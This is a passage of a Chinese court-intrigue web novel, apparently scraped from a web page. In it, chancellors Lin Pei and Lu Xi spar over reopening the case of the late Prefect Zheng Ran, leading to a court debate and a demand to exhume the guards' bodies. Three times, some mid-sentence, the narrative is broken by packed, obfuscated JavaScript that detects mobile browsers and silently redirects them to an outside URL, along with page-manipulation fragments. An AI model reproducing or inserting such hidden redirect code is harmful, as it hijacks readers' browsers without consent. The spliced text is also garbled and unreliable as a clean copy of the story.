“相爷啊,老仆老了。”老骆停下脚步,呆呆地看着地板,“先前你要查右相生平,老仆已经使尽浑身解数,再查恐怕也查不出什么来。” 林佩咳了咳,装作不知情,拔起旁边的松叶。 曾几何时林府豢养家臣百余人,在江湖之中也可谓呼风唤雨,那是魏国公为林家打下的基业,林亦宁守着没有丢,而林佩觉得这样不合人臣之道,尤其到党争时期易惹猜忌,便在一夜之间散了所有家臣,让老骆从堂堂舵主变成了看门护院的管家。 宝剑再锋利,闲置多时也会生锈。 老骆道:“相爷,志朴香堂可不是普通人去的地方,进门一炷香至少三千两银子。” 林佩苦笑:“一道门有这么难进吗?” 老骆叹口气,掰着指头算起来:“您两袖清风,一年俸禄就五百两,扣除日常吃穿用度,扣除京中人情往来,还有那些来打秋风的亲戚,不贴钱已经不错了。老仆没记错的话,公主当年的嫁妆倒是值三十万两,都在驸马府放着,可这亲事到底没成,不敢动。” 林佩:“……” 他都快忘记驸马府在哪儿了。 松枝眼见快被拔秃。 一阵风来,珠灯摇摆,松影晃动。 老骆按住腰带,直起身。 方才憨态可掬的老仆,一瞬之间眼中明亮起来。 这样的老骆,让林佩陌生。 “相爷,不是老仆卖弄,似陆洗这样从底层爬上来的人,老仆见的比你多。”老骆缓缓道,“一旦你招惹了他,他将来必会还以颜色。” 林佩道:“我知道,之前收集的线报我逐字逐句地看过。” 江鄱杜淳知县事后一年被抄家下狱,狱中挨了三百道无赦鞭; 前工部尚书流放幽州途中遇人围殴,腰被打断,至今直不起身; 川西给他下毒的乡绅,在他复出的第一年就被缉拿,被灌肠之后活活吓死了。 这些人在当时的身份地位都比陆洗更高,但无一例外的被陆洗秋后算账,逃不出凄凉下场。 老骆道:“即便如此,相爷还要冒险去拿他的把柄吗?” “不是我要拿他的把柄,而是他已经闯了来。”林佩回道,“现在他就坐在我的对面,再越过去就是皇宫禁地,我是阜国最后的屏障,一步都不能退。” 老骆点了点头,甩起衣摆,双膝跪地。 林佩道:“老骆?” 老骆抬起头,眼神透出坚毅:“相爷若决定了,就请允许我离开林府,让我召集旧部,放手办事,我们之间仅以暗号联络,唯有这样,我才有可能与他的手下抗衡。” 林佩动容,反转手心,郑重地按住老骆的拳。 他别无选择。 文辉阁的那一缕柏子香无时不刻提醒着他——青霖之约不到半年,陆洗不顾他的告诫,再次对他的底线发起了挑战。 他必须尽快弄清楚陆洗到底为什么要拉拢于染,而这和即将到来的平北朝贺又有什么瓜葛。 12. 陆府交锋 林佩第一次听说飞蓟堂约是在老骆离开林府一个月后。 雨下到夜半才停。 林佩回府之后,走进书斋,由地道来到密室。 机关转动,密室另一头的铁门打开。 黑影立在门口。 林佩轻声咳嗽:“进来。” 老骆摘下兜帽,关切道:“相爷又咳嗽了,近来炎暑日蒸,定要珍重身体。” 林佩坐下:“不碍事,你说你的。” 这段时间,老骆重新召集伙计,以西斜巷故知客栈为据点,通过暗访挖出了陆洗更多秘密。 飞蓟堂原先只是浙东松江府一家卖草药的官店。 陆洗在工部参与兴修运河期间与这家官店建立了密切的联系,复出为松江知府之后,陆洗让其亲信接管飞蓟堂的生意,利用漕运之便开启了发家之路。 飞蓟堂如今主要转运贩卖药材、香料、丝绸、茶叶,下设三个分堂。 一分堂的生意依托东南兴修的运河,跨越浙东、齐东;二分堂的店面沿着大江两岸分布,覆盖湖广和川西;三分堂不盈利,养江湖客,负责刺探情报和执行特殊任务。 分堂之下的店名各不相同,有叫杏林春的,也有叫天衣坊的,对外不挂统一匾额,只有内部联络时用飞蓟堂的印信。 这些店铺明面上仍属于官店,但为了把盈利所得分给宫里,陆洗会在每年户部核账之前通过志朴香堂把一大笔钱交入大内库房,既减免部分税金,又免于经过国库。 “老骆,今日我再问一件事。”林佩道,“你可知飞蓟堂在北方三省有没有门面?” “这次找相爷便是说此事。”老骆道,“听闻飞蓟堂新设了一个分堂,要与北边诸国贸易。” 林佩揉了揉太阳穴,眉间微蹙。 他隐约猜到了陆洗想争取于染的真实目的。 林佩道:“此事我知道了,老骆,你辛苦了。” 老骆顿了顿,道:“其实今日还有一事,不知当讲不当讲。” 林佩道:“什么?” 老骆道:“先前京中流言突然消失,我就觉得奇怪,今日在西斜街暗访时获悉……” 林佩道:“定是有人出手相助。” 老骆点了点头,然后说道:“是飞蓟三分堂出的手。” 飞蓟三分堂找到流言的源头,出高价买通其头目,对着名单把十王府派来的游士全部捉拿,在七日之内肃清了流言。 林佩闻言微怔。 他没想到当时为他肃清流言的人居然是陆洗。 老骆说完最新情报,离开密室,扎入茫茫夜色之中。 蛾子扑着烛火。 影子缭乱。 “如果是你,你今日为什么不告诉我。”林佩一人坐在榻上,缓缓拔簪披散下长发,对着空气道,“即便对你而言是举手之劳,可在我这儿也是一份不小的人情。” * 京城有句童谣。 东长安,路朝阳, 高墙白马七香车。 崇文里,满人烟, 画楼明烛映市河。 说的是东长安街街道宽阔,建筑典雅,环境安静肃穆,住的都是世家旧族,而崇文里街虽与东长安街邻近,但因为街口就是大河和珠市,两边商铺侵街,车水马龙,是新贵云集之地。 陆洗的官邸就坐落在崇文里街。 时将入夜,蝉鸣阵阵。 陆洗在花厅练字。 宋轶来了。 陆洗处理上下级关系的方式是不分公私。 他习惯使唤宋轶,小到端茶倒水揉肩捶腿,大到替他出面送礼收礼,甚至自家修个花园都要把宋轶喊来监工,就好像这正三品参议只是贴身伺候的奴仆。 但同时,他对宋轶的生活又有诸多公职之外的照顾,譬如掏私囊给宋轶置办宅院,又譬如允许宋轶以办差为名去外面风花雪月。 这趟宋轶出远门回来,陆洗见其辛苦,便多准了他三日假去见江月楼清倌沈沅沅。 “怎么?”陆洗见宋轶的神色不对,问道,“我多准了你三日的假,回来连手都没拉上吗?” 宋轶道:“我带她去璇瑜坊,问她要不要买些首饰,她说不要。” 陆洗道:“所以你就没买?” 宋轶道:“那不然呢。” “真心喜欢,就先把钱掏了,买最好的料,用最贵的工艺,瞄着她的喜好专门定制一套,叫人送她楼里。”陆洗笑叹口气,点拨道,“如果你敢赌,再做绝些,故意不说谁送的,只留一丝若有若无的痕迹,等她猜到是你,她的心也就是你的了。” 宋轶皱眉,摆摆手道:“不行,追捧她的人很多,万一她以为是别人,岂不白费功夫。” 陆洗道:“若她猜错,说明她心中其实早就有别人,你只是提前知道结局,也不算太坏。” 宋轶听完,陷入思考之中,突然开口道:“明白了,所以大人你暗中替林相摆平流言却又不在他面前邀功,便是出于这样的考虑,等他猜到是你,他的心也就是你的了。” 此言一出,气氛微妙变化。 “理是这个理,但你这个话说的……”陆洗看着水写的字,用笔杆抵住嘴唇,唇角上扬,“我要他的心作甚,我只要他同意让我来接手郑知州的案子。” 二人言归正传。 宋轶是来禀事的。 今年三月到七月,他们没有闲着,同样在紧锣密鼓地筹备平北朝贺事宜。 截至目前,圣驾北上的路线已经确定,旧宫经过修缮,也已具备作为举办典礼的条件。 平北布政使张济良参考典籍编撰了朝贺的仪式流程,在当地排演了数遍,月初上奏朝廷。 陆洗在征询礼部、鸿胪寺和户部的建议后,把本子送入宫,得朱批,发出国书。 他们所用的钱款是地方垫的,所以不仅要主持正面,还必须在幕后保障北三省与南方的贸易通畅顺利,才能稳住财源,让几位布政使安心办事。 “川西劫道的那伙山贼在半个月之内可以剿灭,我算了一下送信来回的时间,不必告知晋北那边。”宋轶道,“还有辽北的货船在海上遇到风浪延期一个月,已和淞江港报备。” 陆洗点了点头:“接下来的一个月,货品在途中出任何事都把消息先压下来。” 宋轶道:“不在话下,三位布政使相对而言好安抚,反而是与兀良哈、瓦剌的交涉复杂。” 风吹藤蔓,知了声声入耳。 陆洗把写湿的纸挂到竹竿上晾着。 宋轶道:“所以户部那边什么时候能同意开市降税?” 陆洗道:“你再给我一点时间,广南大局已定,翻案应不难,但梳理案情还得花时间。” 宋轶撇了撇嘴,话中含了一丝不耐烦:“吴香办事,真慢。” 陆洗笑道:“他不慢,怎能显得你雷厉风行呢。” 下人端来一盘精致的糕点。 海棠形状的冰糕,表皮晶莹剔透,内部豆沙馅儿透出暗红,层层摆放成一座小宝塔,说是府中新请的江南名师制作的,入口即化,最养胃。 陆洗道:“这些糕点你带回去,我吃不了。” 宋轶应了一声,把糕点装进盒子,思忖片刻,又从盒子里拿出一块放回盘上。 陆洗道:“你做什么?” 宋轶道:“不是说入口即化还养胃么,大人你别放弃自己,试试看吧,说不定这你能吃。” 人走之后,只剩一张张宣纸在院子里如纱幔般飞扬。 陆洗看着那块海棠糕呆了很久。 他鼓起勇气,拿起来轻轻地咬下一口。 舌尖感受到香甜的味道。 他看着豆沙流到指尖,觉得喉咙又痒又热,却不敢下咽。 他犹豫了很久,终于忍不住诱惑,动了一下喉结。 纸面风干,水痕渐渐消失。 刺痛突然袭来。 鲜血抑制不住地从嘴角流出。 陆洗盯着空盘,用手紧紧捂住腹部,眼眶泛起红。 “全在骗我!” 啪一声,瓷盘碎裂。 下人跪地赔罪:“相爷饶命,相爷饶命。” 陆洗道:“把那厨子赶出去,我不想再见到他。” 正是此时,前院来报。 左相车架停在陆府门前,递上了拜客帖。 下人面面相觑:“相爷,要见……见左相吗……” 陆洗笑了一声,擦去嘴角的血,强撑着桌子站起来:“愣着做什么,没听到有贵客到访吗,还不快替我更衣。” * 林佩走过筠廊。 转角,见陆洗站在落挂飞罩之前,一袭水云纹长袍泛着流波光泽,与屋外花竹同框。 二人过礼。 “林大人,稀客啊。”陆洗侧过身,挥扇相请,“去万木春坐。” 林佩道:“适才我进门时,看见护院把一个人连带铺盖丢到了外面街上。” 陆洗笑道:“既然林大人都为他求情……”说着叫护院把刚才赶出门的江南名师请回来,让他给林佩做一道点心,如果能得到林佩的好评,便留用并加月钱。 却不知怎么,林佩总觉得陆洗此时步子不稳,气息也有些虚弱。 林佩道:“陆大人身子不适?” 陆洗道:“我好得很。” 到了万木春,满堂金玉。 人的气色顿时提亮几分。 鉴于自己是客,林佩便没有多问,只把礼盒交给陆府下人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749269|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆洗道:“人来便是,带什么礼,你我之间需要如此吗?” 林佩道:“一点薄礼,聊表心意。” 陆洗瞥了眼礼盒。 林佩道:“三珍白玉糕性温养胃,上回在青霖我见你吃了也不腹痛也不气闷,挺好。” 陆洗听到这句话,突然如鲠在喉。 林佩道:“怎么?” 陆洗仰起头,不着痕迹地叹了口气,笑着道:“自我入京,拿着糕点的来我这儿说温和养胃的不下百人,大多我只尝一口就咽不下了,只有你的让我回味无穷。” 林佩把细节看在眼里,却作寻常道:“那就好,我还怕你看不上呢。” 不一时,下人端来了江南名师现做的宵夜。 二人坐下。 林佩道:“前段时间京中歹人造谣生事,矛头直指我和方时镜,妄图破坏宣政大计,这件事你知道吗?” 陆洗想了想,笑道:“太后传你入宫问话,我就坐你对门,岂能不知。” 林佩道:“却不知为何流言突然就消停了,仿佛有人在幕后操控。” 风吹玉振,檐下护花铃响声清脆。 林佩见陆洗没有回应,直接道:“陆大人,我不喜欢欠人情。” 陆洗笑了,打开折扇按在胸前,眼神明亮如月光。 林佩能感受到陆洗的期待——这人有心插下枝条,嘴上却说无心,一天天地在等着柳树成荫。 陆洗道:“举手之劳,你不用记在心上。” 林佩道:“我今日拜访,便是想说这份人情我不会忘记,来日有机会一定还。” 陆洗微笑:“好吧,若你执意要还,现在就有个……” 林佩守到这句,一言打断:“但不是现在。” 陆洗的笑僵住了。 林佩慢条斯理地拿起勺子,从碗中舀出浅浅一湾,尝了尝甜羹的味道。 陆洗道:“你还是不愿意把案子交给我。” 林佩道:“案子已结。” 陆洗道:“我想再查一遍。” 林佩道:“非得逼我说出来吗,陆余青,从你主张升平北为北直隶之时起,私下想的就是把你的生意做到北边,为此你要朝廷开放关市,和蒙古各国通商往来,而这件事情非得有户部的支持不可,所以你必先拉拢于染,取得财权。” 陆洗叹了口气:“不管我出于什么目的,案情本身更重要。” 林佩道:“你如果出于这个目的,就没有资格重审这个案子。” 陆洗静了静,哗地一声收起扇子:“林大人总把家国大义挂在嘴边,真就一点私心没有吗?” 林佩道:“我没有私心。” 陆洗道:“当年审案的人是吴老丞相,你死活不肯交给我,是怕我查得太深,把案子彻头彻尾地翻过来,污了他后世名声,对不对?” 林佩的手心一紧。 勺子在碗中来回搅动。 陆洗道:“这羹好吃吗?” 林佩道:“好吃。” 陆洗扭头叫下人来:“告诉那厨子,他不用走了,要谢就谢林大人。” 林佩习惯了陆洗对他的表面恭顺,突然被质问,就像吃惯细粮的人突然被喂了一颗仙人掌。 他第一次承受来自陆洗的压迫感。 “林大人,黑是黑白是白,我虽也敬重吴老丞相,但十五朝会,我仍会尽全力争取重审案情。”陆洗道,“既然没法谈拢,你我就各凭本事。” 堂前的风转了方向,护花铃由西向东斜,叮叮响动。 林佩起身告辞。 他以为陆洗不会再对他客气,不想出了万木春,陆洗居然还陪着他,陪到陆府大门门口。 街道两旁杨柳飘飘。 林佩转过身:“陆大人留步。” 陆洗看了看街景,抿一下唇,又笑道:“今晚我确实有些躁郁,对不住。” 林佩道:“别,是我不通人情。” 陆洗道:“知你对事不对人,相比于勾心斗角,我更喜欢像这样彼此坦诚。” 林佩道:“这是什么说法?” 陆洗道:“我从小不怕打骂不怕忍冬挨饿,只怕被人看不起,你若明着把我当对手,可见你至少是尊重我的,这就够了。” 林佩坐上回程的马车。 他听车夫说,陆洗仍在门口目送,直到街口拐弯看不见为止。 * 东长安街,两侧石柱灯台照亮路面。 林佩远远地看见自家门前停着另一架马车。 马车上装饰着的二品间金饰银螭绣带,让他一下就猜到了来人的身份——于染。 这人兴许还不知道他方才和陆洗见过面,但按此情形,应该是给自己下“通牒”来了。 13. 通牒 林府偏堂摆着桌椅茶几。 于染坐在椅子上等候,又高又瘦的身材让他的衣袍显得格外宽松。 他身侧还站着一个十二岁左右的身穿布衣的少年。 林佩迈进屋。 “林相。”于染起身行礼,然后回过头拉少年的胳膊,“怀生,给相爷磕头。” 林佩还没来得及阻止,少年扑通一声就给他跪下了,拉都拉不起来。 ——“求相爷还我族清誉。” 叫怀生的少年面色很白,撑着地面的两只手在微微发抖。 他是郑知州的儿子,案子发生之后他改了姓,跟随母亲搬到于染给安排的地方居住。 林佩道:“齐光,你快让他起来,我不能受。” 于染道:“我也劝不动他,他不想去国子监上学,他只想要一个名字。” 林佩对这样的场面一向避而远之,因为除了待遇补偿,他知道自己没有多余的心神去照顾某一个人的情感,当这人就跪在面前,他会感到无力和哀痛。 他叫府中一个年纪相仿的小厮陪着怀生,然后请于染到屏风后叙话。 于染道:“广南宣政已功成圆满,十五朝会,林相想必要替宣政使团请功。” 林佩道:“户部参与运筹,功不可没。” 于染叹口气,捋着胡须道:“我可以不要这份功绩,只是还有一件心事未了。” 林佩道:“你还是想为郑知州昭雪平反。” 于染道:“是。” 林佩道:“这件事右相有找你谈过吗?” 于染道:“我和右相绝无私交。” 林佩道:“可我刚从右相府邸回来,他怎么说已经与你打过招呼呢?” 于染一顿,低下头:“右相入京,确实有许多官员背着你去他的府上送过礼,可我,我一直只按你的意思办事,没有对他示好。” 林佩看着穿透屏风的光影,淡淡地笑了笑。 不想自己随口一诈真诈出了实情——或许那次被中途喊过去谈话的时候,于染就已经变心。 吴晏舟曾对于染做过评价,认为这个人优点明显,聪明,办事快,悟性高,但同时缺点也明显,这个人遇事不愿改变自己的认知,顺之容易逆之难。 于染与郑冉有同窗之谊。 读书时二人的家境都很贫困。 于染家里种地,稍能多些粮米,每天给郑冉带饭食;郑冉寄宿在教谕家中,有场地之便,偷捡到的墨块、纸笔、灯油也分给于染一起用。 二人互相扶持得以完成学业。 后来在户部清吏司为官,二人又共同提出《兴商利工十策》,私下做约定,于染在京城负责疏通政令、联络各方,郑冉到地方负责督导工坊、实地整顿,期间互通有无,不计名利。 然而天有不测风云,到广南的第三年,郑冉出了事。 当时案子在京开审,于染用了很大力气疏通关系,想保挚友性命,最后还是没能如愿。在他看来,郑冉是因为自己才会牺牲,郑冉之死多少也有自己的一份干系。 回到当下,林佩也知道,于染主张发展商业为朝廷创造收益,却受吴晏舟等人打压未能施展,如若这次他再不遂于染的心愿为郑冉昭雪平反,那么于染改换门庭只是早晚问题。 “郑知州的案情和李布政使的情况不同,有两个罪名绕不过去。”林佩用平缓的语气,试图规劝,“一是带头冲常平仓,导致十六名守仓军士死亡,尸首先经地方仵作查验,后来在你坚持下运至京城,再由刑部验尸官复核过,其身份和死因都可以说是确凿无疑;二是常平仓被冲开以后,郑知州纵容乡民把仓中一万石粮食搬空,确实给国家造成了损失。” “十王府这些年用的手段,宣政使团不是都看到了吗?”于染道,“郑知州一定是出于无奈,不忍看百姓被剥削至死,在冲动之下才会做那样的事,情有可原啊。” “情有可原,但是理不能容。”林佩道,“朝廷没有株连已经是宽宥了。” 于染张了张口,说不出反驳的理由,只能把话咽回肚子里。 林佩道:“带怀生回去吧,夜迟了,就算你明日不上衙,他还要读书。” 于染道:“这么些年来,我对你,对吴老丞相,一直都尊重有加,只这一道坎儿过不去。” 林佩道:“人心似海,退一步就没有过不去的坎儿。” 于染抬起手,指向门外,苦笑起来:“你让我梦中如何向郑兄的亡魂交代?” 不一时,于染带着怀生走了。 林佩坐在原地,听人的脚步声远去,手指揉按着太阳穴凝神。 看情形,他知道于染接着要拜访的就是崇仁里街的陆府。 这是一颗注定要失去的子。 * 次日,林佩去了一趟大理寺。 大理寺、刑部、督察院三大司法机构都位于皇城以北的后湖湖畔,涉及五品及以上官员卷宗保存在附近地势较高的丰阁之中。 林佩登上石阶。 尧恩指着一扇房门,说关于郑冉的档案在里面。 林佩道:“好,钥匙给我。” 尧恩转过身,对大理寺卿及几名随从说道:“你们先回去,我留在这里陪林相。” 林佩道:“你也回去,我一个人查看档案就够了。” 尧恩怔了一下,旋即摇头,阻拦道:“这样不妥,一人进档案室,万一日后发现卷宗损毁失窃那就说不清楚了,请林相让下官陪你一起进去。” 林佩笑了笑,心中明白尧恩是在保护自己,但这次情况特殊,他宁可一人承担所有责任,也不能让尧恩受牵连。 一声闷响,木门关闭。 林佩举着灯烛,顺着年份找到书架,取下了那本发黄的文簿。 熟悉的字迹映入眼帘。 林佩一字一句看过去,眼眸渐渐湿润。 他映证了心中的猜想,吴晏舟是为保护他才不让他经手此案。 案卷并非完美无瑕,关于械斗发生的具体时间和损失钱粮的具体数额,大理寺曾多次出具意见要求复查,可由于特殊原因,刑部还是先结了案,后续才补齐说明材料。 下令结案的人是吴晏舟。 世间万事都有阴阳两面,尤其对于历经十几年党争内耗、表面繁荣而实际空虚的阜国而言,这一头牵起任何一根线都有可能引起另一头地动天摇。 林佩把手放在摊开的文簿之上,深吸口气,把大理寺要求复查的那页揉成团,撕了出去。 这便是他此行的目的。 他要把吴晏舟当时“审案不慎”的责任揽到自己身上。 朝会即将到来,如果此案注定要被重审,那么他希望自己能保全吴晏舟的晚节。 “恩师,过去你总是护着我,怕我被小人算计,被暗箭射伤。”林佩烧掉纸团,拂去桌边落的灰,“而今我在朝中已站稳脚跟,不再惧怕人言,便轮到我来保护你。” * 朝会之前,文辉阁的灯火连续亮了三天三夜。 林佩从后湖回来,第一件事便是调出南粮北调的所有资料,沿着运输的路线一个县一个县研究过去,然后圈点标记,拟写草稿,交代温迎准备一批公文备用。 阁中大小官吏都被弄糊涂了。 “南粮北调不是进行的好好的吗?”温迎道,“近两年西域与吐蕃也没有战事发生,为何如此着急准备这些公文?” 林佩道:“备用而已,用不上最好。” 温迎道:“急吗?” 林佩道:“不急,能在天亮之前弄完就行。” 众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749270|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一阵沉默。 说是不急,可这样的紧张气氛此前从未有过。 “大人,明日大朝,难道不是为方尚书请功,为李布政使正名,庆贺广南宣政取得成功么?”温迎看了看右边屋子,小声道,“我想不通,咱们熬着就算了,为何右相也在这儿熬着?” “他有他要忙的。”林佩端起茶杯,润了一下口,“我有我的。” * 七月十五,文华殿望朝。 天边逐渐从深蓝转为淡金,宫阙楼宇浸在雾气之中。 林佩和陆洗二人肩并肩通过左掖门。 静鞭三下响,天明雾散。 文武官员排列整齐,衣冠拜冕旒。 ——“众卿平身。” 朱昱修坐在龙椅之上,董嫣照旧坐在珠帘之后。 只不过这次,御案多摆了一只青玉鸠车,车轱辘会转,是小皇帝最近喜欢上的玩具。 林佩预咳一声,开始奏事:“自年初至今,礼部宣政使团抵达广南,调度广南都司、广南布政使及十二州之民力,耗时四月,从十王府手中收回广南政权,重整地方之治,功成圆满。” 奏本为礼部、兵部、户部、吏部、刑部合奏,内容包括朝廷和十王府谈判的结果,以及新编之后广南各州县户口、官员、土地、海港、官办及私营作坊的情况。 朱昱修道:“赏。” 赏赐方时镜之物是一对祥云麒麟国宝墨。 墨香千里,世代流传。 方时镜叩谢圣恩。 林佩停顿片刻,继续道:“陛下,前任广南布政使李良夜乃受朝廷派遣至地方为内应,如今广南之治恢复,当交还乌金牒,臣请恢复其从二品官职,留京听用。” 李良夜在殿外等候多时,听到自己的名字被念响,深吸一口气,正衣冠上殿。 乌金牒由上下两块青金组成,左右标注日期和颁发公署,上面雕刻牒文的标题,解开卡扣才能使两块青金分离,正文则写在嵌入其中的一张绢帛之上。 朱昱修看到御印,点了点头。 李良夜扑在地上,脊背颤抖。 朱昱修对太监道:“扶李爱卿起来。” 李良夜泣不成声:“谢……陛下。” 而后,几个小太监跪地用袖子擦去了金砖上的涕泗。 众人称道不已。 林佩退回文官队列,下一刻,陆洗迈步出列。 二人衣袍摩擦而过。 林佩在余光中看到陆洗微扬的唇角。 “广南收复,听说当地重审的冤假错案就有数十起。”陆洗道,“可见这次宣政是真正落到实处了,可喜可贺。” 朱昱修拿起鸠车推着玩:“右相在夸左相的差事办得好吗?” 陆洗笑道:“是啊,左相办得好,臣今天要提的案子,若十王府还没就范,可昭雪不了。” 朱昱修:“什么案子?” 陆洗抬起头,字字铿锵有力:“三年前高州知府郑冉冲常平仓一案。” 殿中一阵安静。 随后百官小声议论起来,不知情的人探讨为何要提此案,知情的人回忆当年情形叹息不已。 于染神色微变。 似经过了激烈的内心斗争,他终于抬起头,把目光投向陆洗。 ——“请苦主入殿陈冤。” 传唤响起。 怀生身穿素缟,低头从文武官员中间的过道走到御前,一扣三拜首,双手托起血书。 烛火烧起的热浪模糊了少年的身影。 朱昱修揉一揉眼睛。 “陛下,太后。”怀生道,“草民之父郑冉三年前因被十王府迫害含冤而死,死不瞑目,今闻朝廷收复广南,各州重审陈年冤案,父亲托梦而来,望陛下和太后还郑氏一门清誉。” 14. 昭雪(上) “陛下,当年此案就有诸多疑点。”陆洗道,“臣请调刑部案卷。” “陛下,此案虽发生在广南,但性质与其它案件不同。”林佩道,“臣不同意重审此案。” 陆洗侧身道:“林大人,只要是案子存在疑点,我身为右丞相是否有权调取刑部案卷?” 林佩道:“政务有分工,你开始时不负责这个案子,现在突然要主持重审,除非有充足的证据证明郑氏含冤,否则无法说服我,也说服当时参与办案的众位臣工。” 一番对话点起火星。 朱昱修回过头看董嫣,小声抱怨道:“他们怎又吵架了,右相刚才不还夸左相吗。” 珠帘被挂起。 月季花丛映入众人视线,深红浅红,点点荣艳。 董嫣开口道:“林相所言有理,这是由吴老丞相审定的旧案,现理应在左相职权范围之内。” 陆洗道:“但是他不作为该当如何?” 董嫣把话锋一转,看向林佩:“林相,你看这样行不行,权且先让刑部把案卷取来一看,若陆相是胡说八道拿不出证据,本宫治他的罪,若陆相言之有理且能拿出实证,再议是否重审。” 林佩默了片刻,道好。 等待的时间略长,各部官员依次奏完事,刑部案卷还没有到。 朱昱修把那只青玉鸠车拆了又装装了又拆,无聊地打起呵欠。 陆洗笑道:“陛下,臣等闲聊几句给你解解闷。” 朱昱修道:“好。” 陆洗道:“三年前陆某人还在地方,想问问殿中亲身经历过此案宣判的同僚,你们觉得时任知州的郑冉是一个怎样的人?” 方时镜、杜溪亭等人看向林佩。 对他们而言,这是一场无准备之战。 林佩道:“大家心里怎么想就怎么说。” 方时镜说起他在老家惠州的所见所闻,表示郑冉的初衷应不坏,坏在解决问题的方式不当。 杜溪亭说郑冉在案发之前连续好几年考功都在中上之流,可惜性格过于刚烈,刚极易损。 “说起郑知州,我是最熟悉的。”于染清了清嗓子,站出队列,“我与他同为永熙元年的进士,深知他为人正直,志向远大,一直恪守以民为本、官清政明的原则,相信他在高州一定是看到了无法容忍的真相,才会决定用自己的生命守护当地百姓。” 怀生依然低头跪着,只是当他听到于染的话,干涸的眼眶再次涌出泪水。 “陆大人,那你觉得郑冉是一个怎样的人呢?”林佩反问道,“你觉得大家的评价对吗?” 陆洗道:“我以为大家各有各的道理,郑冉可以是一个良臣,一个直臣,也可以是损害社稷利益的恶人和忤逆朝廷的罪人,不同角度,他可以有千般面目。” 林佩道:“这话说了又好像没说。” 此时大殿门口出现一列人影。 刑部吏员在侍卫的护送之下入殿,将案卷悉数呈放御前。 “陛下,太后。”陆洗等众人都陈述完意见,举起笏板,“臣真正想说的是,抛开一切身份地位学识政见,郑冉他首先是一个人,趋利避害才是人的本性。” 董嫣道:“继续说。” 陆洗道:“一个人在还能看到前途的情况下是不会自毁的,哪怕被十王府威胁分赈济款,哪怕看到百姓的田地被无情兼并,这些都不足以把他逼到那个份上,诚如方尚书和杜尚书刚才所言,只要他还有可能熬到任期结束,他就一定会选择忍,忍到离开高州再开口说话。” 董嫣道:“陆相认为真相是如何?” 陆洗道:“臣认为带头冲常平仓的人不是郑知州,真相是——郑知州只是碰巧路过那里。” 此言一出,满堂哗然。 众人只是就事论事觉得郑冉本心不坏,却从未怀疑过这件事的起因。 尧恩道:“容下官提醒陆相,郑知州纵容乡民搬空常平仓是有目共睹的事实,即便三年过去,当地目击此事的百姓仍有百余人,且郑知州本人在狱中也对此供认不讳。” 陆洗翻开案卷:“这是果,不是因。” 林佩的眼皮跳了一下。 他在三月大朝经历过这样的气氛,所以能察觉到自己和尧恩此刻已经在陆洗的局中。 御前明烛照丹青。 案卷一页一页翻过,声声入耳,仿佛已故之人有了呼吸。 陆洗忽然在某页停下,侧过身,用犀利的眼神盯住林佩。 陆洗道:“听闻林大人前日刚去丰阁看过这份案卷。” 林佩道:“是。” 陆洗道:“难道你没发现这儿缺了一页吗?” 林佩道:“当时光线昏暗,我视物不清,没注意。” 陆洗道:“朝堂之上可不兴耍无赖啊。” 林佩面不改色:“看前后内容,这一页应是大理寺完成了复核之后所做的注释,有的案子有,有的案子没有,怎么陆大人,你私下养了那么多家臣,连三司会审的程序都弄不清楚吗?” 陆洗道:“大理寺卿,请说话。” 大理寺卿道:“林相说的不错,这一页的内容是不影响案情走向和结果。” 陆洗笑了一声。 语罢,把案卷往前翻了两页,用镇纸压住。 陆洗道:“刑部验尸官的记录不清,存有疑点。” 尧恩道:“何处有疑?” 陆洗道:“关于十六名守仓军士的死因,如此大案的记录过于笼统,须知三百年前地方提刑就已经将械斗造成的伤口分为二十余种,怎么到了我朝反不如初?” 尧恩道:“彼时天气炎热,尸体运到京城已经只剩白骨,你想知道伤口形状也不是不行,调高州狱案,或去问当年负责给此案验尸的地方仵作便知,只是今日等不到了。” 董嫣久居深宫,不懂刑律,只把目光投向陆洗。 “太后恕罪,前人言初情莫重于检验。”陆洗大声道,“臣知这十六名收仓军士的尸骨就埋在京城西郊,故前日擅作主张,找守墓之人把棺材抬了出来,此刻就放在千步廊。” 董嫣吓了一跳:“什么?” 陆洗抬起眼,一字一顿:“臣请开棺验尸。” 董嫣连忙捂住朱昱修的耳朵,担忧道:“这未免过了,陆相执意重审此案,本宫答应便是。” 林佩开口提醒:“太后勿忘方才所言,若无证据,则要问陆大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749271|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人之罪。” 董嫣又为难了:“这……” 殿中安安静静的,无它人插话。 百官都明白事情到这一步已没那么简单。 这是两个站在庙堂最高处的人之间的对弈。 却值僵持之际,刚才还不耐烦的朱昱修突然来了兴趣。 “母后,朕不怕。”朱昱修掰开董嫣的手,抬起脸,眨了眨眼睛,“朕想看开棺验尸。” 青玉鸠车滑落地毯。 